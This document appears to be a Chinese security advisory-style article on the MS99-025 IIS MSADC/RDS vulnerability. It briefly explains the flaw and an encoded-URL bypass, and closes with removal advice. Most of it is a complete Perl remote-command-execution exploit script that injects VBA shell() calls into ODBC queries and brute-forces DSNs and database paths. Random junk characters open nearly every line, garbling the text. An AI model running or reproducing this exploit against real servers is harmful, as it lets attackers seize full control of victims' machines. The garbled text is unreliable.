IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$-J=UT2m oh @|*RU 涉及程序：
~T'!.^/ Microsoft NT server
YXFUZ9a#e axpn*(yE 描述：
/XeCJxo8 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ws_/F O{Y_j&1 详细：
u sFhcU 如果你没有时间读详细内容的话，就删除:
2Nau]y]= c:\Program Files\Common Files\System\Msadc\msadcs.dll
ywCF{rRd 有关的安全问题就没有了。
LQr+)wI fRow@D I\ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
i& phko} *~b}]M700 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
xnp5XhU 关于利用ODBC远程漏洞的描述，请参看:
k X1#+ X ~4}'R _ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |B`
m WZ'" :wR aB7 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
U~nW>WJ+. http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2Jl$/W 3 $={^':Uh 这里不再论述。
Ra~|;(
%d {~=Z%Cj2 Q 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
k0 4CSzE"% eGEeWJ}[$ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
;vkk$
- 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
]NRQM8\ :jP4GCxU| %s(Ri6R & #将下面这段保存为txt文件，然后: "perl -x 文件名"
tl@n }
=eB^( !M #!perl
` yXJaTbo #
J;mvD^`g # MSADC/RDS 'usage' (aka exploit) script
)r +o51gp #
q'zV9 # by rain.forest.puppy
zmEg 4 v'I #
K3xs=q]:@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
4!,`|W1 # beta test and find errors!
2(%C U g=)_~ use Socket; use Getopt::Std;
X v2u7T\ getopts("e:vd:h:XR", \%args);
Lfj]Y~*z Ic,V ,#my print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Q 9C; _Up X1J' if (!defined $args{h} && !defined $args{R}) {
|."thTO print qq~
@*s7~:VQ Usage: msadc.pl -h <host> { -d <delay> -X -v }
'4 x uH3 -h <host> = host you want to scan (ip or domain)
-$0w-M8' -d <seconds> = delay between calls, default 1 second
ta)'z@V @g -X = dump Index Server path table, if available
!}$,) ~<+H -v = verbose
oD vE0"Sz -e = external dictionary file for step 5
/OaW4 b$Tz N:]Ud(VRM Or a -R will resume a command session
So^; 5tG l A1l ~; exit;}
A"PmoV?lAm _=s{,t
&u $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
q n2X. _` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^CtA@4 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
`~S ; UG if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
~,:
FZ1wh $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
% Q2<bj] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
iAWd
9x *H''.6 if (!defined $args{R}){ $ret = &has_msadc;
PL6f**{- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
m@ 2;9 bFt$u]Yvo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
v_s( . "cmd /c ";
Gi9s*v,s $in=<STDIN>; chomp $in;
*|F
;An.N^ $command="cmd /c " . $in ;
'nR'o /! "7RnT3 if (defined $args{R}) {&load; exit;}
.V.x0 8G6[\P3fQ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2TxHY |4 &try_btcustmr;
}-8ZSWog6f WXgGB[x print "\nStep 2: Trying to make our own DSN...";
{YoK63b$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
q=+AN</ \as^z!< print "\nStep 3: Trying known DSNs...";
ZY Ci&l &known_dsn;
p~!UE/V f kjo print "\nStep 4: Trying known .mdbs...";
FLE2]cL- &known_mdb;
O,+ZD^ ?~_[/ if (defined $args{e}){
}wkZ\q[ print "\nStep 5: Trying dictionary of DSN names...";
@$bEY#*C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
[ {|868 74u_YA<" print "Sorry Charley...maybe next time?\n";
t R(Nko exit;
sBuOKT/j &qO#EEqG] ##############################################################################
*53@%9 {u /ivA[ LSS sub sendraw { # ripped and modded from whisker
"N\tR[P! sleep($delay); # it's a DoS on the server! At least on mine...
o(5eb;"yi> my ($pstr)=@_;
y ))) {X socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
BWHH :cX die("Socket problems\n");
" F3M m if(connect(S,pack "SnA4x8",2,80,$target)){
1[&V6 =n select(S); $|=1;
}k K6"]Tj print $pstr; my @in=<S>;
`[ =3_ select(STDOUT); close(S);
]3/_?n-"` return @in;
{0t -Q k } else { die("Can't connect...\n"); }}
d2!A32m B{^ojV;]m ##############################################################################
j$u=7Z&E =OUms@xcE sub make_header { # make the HTTP request
ys#V_ysb my $msadc=<<EOT
R3`h$`G POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-{tB&V~+v User-Agent: ACTIVEDATA
rbEUq.Yk]~ Host: $ip
*sPG,6> Content-Length: $clen
j0F'I*Z3 Connection: Keep-Alive
'q:t48& ff3HR+%M ADCClientVersion:01.06
u#c3T'E Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*;noZ9{"+ ee+*&CT) --!ADM!ROX!YOUR!WORLD!
g=gWkN
< Content-Type: application/x-varg
-3)]IA Content-Length: $reqlen
jZ5 mp YUO K\ 2UwX EOT
;: /< XfZ ; $msadc=~s/\n/\r\n/g;
9:\YEs" return $msadc;}
NGYUZ\ m M&/([ >Q ##############################################################################
6S 2u% -] !B#Lea sub make_req { # make the RDS request
|~y>R#u8pm my ($switch, $p1, $p2)=@_;
9AGf4tu y my $req=""; my $t1, $t2, $query, $dsn;
<:t D m q|N/vkqPz if ($switch==1){ # this is the btcustmr.mdb query
!jIpgs5 $query="Select * from Customers where City=" . make_shell();
pFZ2(b& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
H1bPNt6 3 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
F.%g_Xvk: = %\y E0# elsif ($switch==2){ # this is general make table query
l1utk8'- $query="create table AZZ (B int, C varchar(10))";
s:fy
*6=[Z $dsn="$p1";}
06dk K )` > kLUQ%zE@ elsif ($switch==3){ # this is general exploit table query
"{&?t}rj+ $query="select * from AZZ where C=" . make_shell();
-S7y1 ) 7 $dsn="$p1";}
-q}c;0vL-a 9P M\D@A{ elsif ($switch==4){ # attempt to hork file info from index server
AusCU~ :> $query="select path from scope()";
VX`E7Sf! } $dsn="Provider=MSIDXS;";}
T,sArKBI 6u '+#nm elsif ($switch==5){ # bad query
X4D> $query="select";
8!T6N2O6d $dsn="$p1";}
]0+ 5@c EC]b]'._ $t1= make_unicode($query);
.8O. $t2= make_unicode($dsn);
0)?.rthk4S $req = "\x02\x00\x03\x00";
%e71BZo~^s $req.= "\x08\x00" . pack ("S1", length($t1));
jYv`kt $req.= "\x00\x00" . $t1 ;
'^!1 A GF $req.= "\x08\x00" . pack ("S1", length($t2));
a IA9rn $req.= "\x00\x00" . $t2 ;
eVVm"96Q.; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
;ZSJ-r return $req;}
Y@+e)p{ 9AxeA2/X ##############################################################################
KqE5{ q )225ee> sub make_shell { # this makes the shell() statement
<H,q( :pM return "'|shell(\"$command\")|'";}
^zv,VD Buue][[ ##############################################################################
];vEj*jCX !='?+Ysxs sub make_unicode { # quick little function to convert to unicode
xjplJ' jB my ($in)=@_; my $out;
m-M.F9 R for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
k6p Xc<]8 return $out;}
5c W2 )Yc jx~
##############################################################################
Wd R ~ $Eo)i sub rdo_success { # checks for RDO return success (this is kludge)
^D{!!)O my (@in) = @_; my $base=content_start(@in);
CfSpwkg if($in[$base]=~/multipart\/mixed/){
{5$.:Y return 1 if( $in[$base+10]=~/^\x09\x00/ );}
3V,$FS ] return 0;}
4}4K6y<q YCWt%a*I' ##############################################################################
|@rPd=G^(/ O!3MXmaO sub make_dsn { # this makes a DSN for us
bm &$wf my @drives=("c","d","e","f");
bw@"MF{ print "\nMaking DSN: ";
/hojm6MM foreach $drive (@drives) {
7AE)P[ print "$drive: ";
" wB~*,Ny my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
I1IuvH6 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
<A g`pZ<s . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
N<e =!LV $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c']3N return 0 if $2 eq "404"; # not found/doesn't exist
z^KMYvH
g if($2 eq "200") {
zB8 @Wl foreach $line (@results) {
h7}D//~p return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
/ MErS< 6 } return 0;}
+E{'A7im8= x/UmpJD+ ##############################################################################
F@76V$U. B `` ) sub verify_exists {
:#?Z)oQpT my ($page)=@_;
}bW"Z2^nB my @results=sendraw("GET $page HTTP/1.0\n\n");
/4]<ro67E6 return $results[0];}
fO ;#;p. Q :<&<i=I ##############################################################################
|Sne\N>% )&Bf%1> sub try_btcustmr {
"M)kV5v% my @drives=("c","d","e","f");
:{(` ;fJ my @dirs=("winnt","winnt35","winnt351","win","windows");
O0"u-UX{ *gq~~(jH foreach $dir (@dirs) {
}# ~DX!Sj print "$dir -> "; # fun status so you can see progress
({GN.pC( foreach $drive (@drives) {
{z4v_[-2CF print "$drive: "; # ditto
J
FYV@%1~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0Y%u[i/ $reqlenlen=length( "$reqlen" );
IfeCSK, x $clen= 206 + $reqlenlen + $reqlen;
Gk!06 $P9'"a)Lm my @results=sendraw(make_header() . make_req(1,$drive,$dir));
z
qM:'x* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
XZ8#8Di8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
q;W(;B YA";&|V ##############################################################################
|>/T*zk< *Zj2*e{Z9U sub odbc_error {
~^<ju6O' my (@in)=@_; my $base;
9`A}-YA ! my $base = content_start(@in);
7S
+YQ$_ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
tAI<[M@
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)L)jvCw,e $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W^es" \ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
f1hjU~nJ return $in[$base+4].$in[$base+5].$in[$base+6];}
x&n gCB@O print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
pj~Ao + print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kw%vO6"q( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N8]DW_bsB kM#ZpI&0% ##############################################################################
8PR1RC J z A ~aiX sub verbose {
Wfw6(L my ($in)=@_;
{Q% "{h'] return if !$verbose;
N"tEXb/, print STDOUT "\n$in\n";}
4RLuv?,)~ $.7 Ov| ##############################################################################
1>K Z1Kf ODggGB` H` sub save {
0u3"$o'R my ($p1, $p2, $p3, $p4)=@_;
NZP>a V - open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^}F @*A;o print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
c" | 4'#S close OUT;}
4Jf6uhaE 4i DlBs+ ##############################################################################
.L#xX1 qr @@?P\jv~ sub load {
L .cGt"{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%, Pwo{SH open(IN,"<rds.save") || die("Couldn't open rds.save\n");
ySS
kw7 @p=<IN>; close(IN);
uxxS."~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
e\9H'$1\ $target= inet_aton($ip) || die("inet_aton problems");
x#-+// print "Resuming to $ip ...";
vE}>PEfA $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
a*qf\ &Vb| if($p[1]==1) {
/3 (|P $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Po
,zTz $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
f vAF0
a my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-0 e&>H% if (rdo_success(@results)){print "Success!\n";}
3I" <\M4x else { print "failed\n"; verbose(odbc_error(@results));}}
'Q^P#<< elsif ($p[1]==3){
l2AAEB_C. if(run_query("$p[3]")){
@ TvoCDeI print "Success!\n";} else { print "failed\n"; }}
`egyk)"aM elsif ($p[1]==4){
_&U5 u if(run_query($drvst . "$p[3]")){
jt*VD>ji print "Success!\n"; } else { print "failed\n"; }}
B%.XWW$ exit;}
J:N4F.o&K K+`$*vS~ws ##############################################################################
gz,x6mnQ 1L4-hYtCj sub create_table {
!oJ226>WI my ($in)=@_;
f &n6;N $reqlen=length( make_req(2,$in,"") ) - 28;
&fI x2ZM[ $reqlenlen=length( "$reqlen" );
zFR=inI $clen= 206 + $reqlenlen + $reqlen;
-C>q,mDJZ my @results=sendraw(make_header() . make_req(2,$in,""));
iG.qMf. return 1 if rdo_success(@results);
)|Ho"VEmg my $temp= odbc_error(@results); verbose($temp);
5Tb3 Yy< . return 1 if $temp=~/Table 'AZZ' already exists/;
zUe)f~4 return 0;}
K|OowM4tv _olhCLIR- ##############################################################################
7AOjlC9R} XDot3)2` sub known_dsn {
voD0 u # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
>h[ { _+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
MPn
6sf9M "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ranlbxp2l "banner", "banners", "ads", "ADCDemo", "ADCTest");
jn+M L& kW
7 $ foreach $dSn (@dsns) {
3
zF"GT print ".";
DKvNQ:fI>9 next if (!is_access("DSN=$dSn"));
6G6B!x if(create_table("DSN=$dSn")){
,.g9HO/R1 print "$dSn successful\n";
m9&MTR D\ if(run_query("DSN=$dSn")){
#VLO6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
XW^Sw;[efZ print "Something's borked. Use verbose next time\n";}}} print "\n";}
]Uy
cT3A b6LwKUl ##############################################################################
jOE~?{8m `X =2Ff sub is_access {
_LOV&83O( my ($in)=@_;
=L UDg7P $reqlen=length( make_req(5,$in,"") ) - 28;
LK?V`J5wY $reqlenlen=length( "$reqlen" );
Q )H1\ $clen= 206 + $reqlenlen + $reqlen;
M.[A%_|P my @results=sendraw(make_header() . make_req(5,$in,""));
r
N.<S[ my $temp= odbc_error(@results);
?)60JWOJ1 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
#wvmVB. 5~ return 0;}
nVK`H@5fw Gx$rk<;ZW ##############################################################################
.t7mTpi !Q0aKkMfL sub run_query {
s-- \<v my ($in)=@_;
=s\RK
$reqlen=length( make_req(3,$in,"") ) - 28;
<21@jdu3n, $reqlenlen=length( "$reqlen" );
lwh VP$q} $clen= 206 + $reqlenlen + $reqlen;
Z, ? T`[4B my @results=sendraw(make_header() . make_req(3,$in,""));
6pKb!JJ return 1 if rdo_success(@results);
!R`) S7! my $temp= odbc_error(@results); verbose($temp);
'/h~O@R w return 0;}
n* HRGJ
(16U]s ##############################################################################
?9?eA^X% 1l~(J:DT sub known_mdb {
_BA2^C':c{ my @drives=("c","d","e","f","g");
Ep@NT+V nI my @dirs=("winnt","winnt35","winnt351","win","windows");
tR;? o,T my $dir, $drive, $mdb;
s* XwU my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
itp$c|{ :Hn*|+' # this is sparse, because I don't know of many
XQH
wu my @sysmdbs=( "\\catroot\\icatalog.mdb",
tSZd0G<A<o "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5 GwXZ;(G "\\system32\\certmdb.mdb",
x; G~ c5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
gA&+<SK( z ]d^%>Ef my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
i l)LkZ@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
.\W6XRw "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\Jcj4 "\\cfusion\\cfapps\\security\\realm_.mdb",
X5M{No>z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
;M 9 5A "\\cfusion\\database\\cfexamples.mdb",
@ e Qo "\\cfusion\\database\\cfsnippets.mdb",
w'Cn3b)` "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
RC S 91[ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
WC?}a^
8 "\\cfusion\\brighttiger\\database\\cleam.mdb",
'A|OVyH "\\cfusion\\database\\smpolicy.mdb",
e 2onR~Cf "\\cfusion\\database\cypress.mdb",
j.5;0b_L^ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
9Xr @ll "\\website\\cgi-win\\dbsample.mdb",
+Y:L 4` "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[q MFLY$ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
:*{>=BD ); #these are just
o ` !7 ~n foreach $drive (@drives) {
Tt0:rQ. foreach $dir (@dirs){
=> PBdW foreach $mdb (@sysmdbs) {
* MJl( print ".";
8ol R#> if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
}iK_7g`yKa print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
pxF<L\L?: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
<IX)D `mf print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
} - e } else { print "Something's borked. Use verbose next time\n"; }}}}}
~[|zf*ZISG VHyP@JB
foreach $drive (@drives) {
G?y'<+Awt foreach $mdb (@mdbs) {
y[ }O( print ".";
pO~VI$7 if(create_table($drv . $drive . $dir . $mdb)){
^w +jPT-n print "\n" . $drive . $dir . $mdb . " successful\n";
R]-$]koQO if(run_query($drv . $drive . $dir . $mdb)){
.Fz5K&E= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
f
+# } else { print "Something's borked. Use verbose next time\n"; }}}}
Od> ^yhn }
bwo{
Lw~ A ko}v"d ##############################################################################
m-~ eCFc PR&D67:Jy sub hork_idx {
l<](8oc.
w print "\nAttempting to dump Index Server tables...\n";
) LA^j |Y} print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
h%hE$2 $reqlen=length( make_req(4,"","") ) - 28;
"/EE$eU $reqlenlen=length( "$reqlen" );
s1[_Pk;! $clen= 206 + $reqlenlen + $reqlen;
+18)e;
my @results=sendraw2(make_header() . make_req(4,"",""));
Y'. WO[dgf if (rdo_success(@results)){
K{
s=k/h my $max=@results; my $c; my %d;
bi fi02 for($c=19; $c<$max; $c++){
G]Jchg < $results[$c]=~s/\x00//g;
.CrrjS w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
~)S Q{eK?& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
H& #Od? $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
H3# xBn>9 $d{"$1$2"}="";}
-V'`;z E6 foreach $c (keys %d){ print "$c\n"; }
yqg&dq } else {print "Index server doesn't seem to be installed.\n"; }}
DIk\=[{2q NZ\aK}?~! ##############################################################################
! eo N F4m Q#YlrS sub dsn_dict {
LNp%]*h open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%^L :K5V while(<IN>){
,|: a7b] $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
&M)S~Hb^ next if (!is_access("DSN=$dSn"));
/nK)esB1L if(create_table("DSN=$dSn")){
bw@Dc T&, print "$dSn successful\n";
S=I hg
if(run_query("DSN=$dSn")){
@~!1wPvF`I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
a<.7q1F print "Something's borked. Use verbose next time\n";}}}
>.D0McQg print "\n"; close(IN);}
;w(]z <JA`e+Bi ##############################################################################
hIj[#M&6 %j].'
; sub sendraw2 { # ripped and modded from whisker
+s6 wF{ sleep($delay); # it's a DoS on the server! At least on mine...
$ {$XJs4 my ($pstr)=@_;
( 8!#<$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iL-I#"qT, die("Socket problems\n");
7k<4/|CQ{ if(connect(S,pack "SnA4x8",2,80,$target)){
6 ~b~[gA print "Connected. Getting data";
)e)@_0 open(OUT,">raw.out"); my @in;
o:\RJig< select(S); $|=1; print $pstr;
K>k MKd1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
-R!qDA" close(OUT); select(STDOUT); close(S); return @in;
w8t,?dY } else { die("Can't connect...\n"); }}
LzE AA{ lu^ c^ p; ##############################################################################
ILUA'T=B0 dqMR<Nl& sub content_start { # this will take in the server headers
9o.WJ my (@in)=@_; my $c;
(K$K;f$"r for ($c=1;$c<500;$c++) {
GHHErXT\a if($in[$c] =~/^\x0d\x0a/){
J&{qe@^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
WgdL^PN(h else { return $c+1; }}}
?VMj;+'tr return -1;} # it should never get here actually
U~8.uldnF XpzdvR1 ##############################################################################
w;.'>ORC &jg peFiiC sub funky {
8#%p[TLj my (@in)=@_; my $error=odbc_error(@in);
PN{l)&K2. if($error=~/ADO could not find the specified provider/){
u7u8cVF print "\nServer returned an ADO miscofiguration message\nAborting.\n";
v>3)^l:=Y* exit;}
TEZ^ Ia if($error=~/A Handler is required/){
khl(9R4a print "\nServer has custom handler filters (they most likely are patched)\n";
/Yk2 |L exit;}
:&= TE 2 if($error=~/specified Handler has denied Access/){
L~1u?-z u print "\nServer has custom handler filters (they most likely are patched)\n";
&*
4uji exit;}}
&XosDt b#-5b%ON ##############################################################################
pti`q ) 9i)E<.6 sub has_msadc {
\ ?[#>L4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
3,j)PKf
; my $base=content_start(@results);
-OpI,qyS return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
4#uWj ?u return 0;}
$Yt29AQ \ #5t%t ########################
'Y+AU#1~H ?lv{;4 BC zCD?5*7 解决方案：
oK h#th 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
7?K?-Oj 2、移除web 目录: /msadc
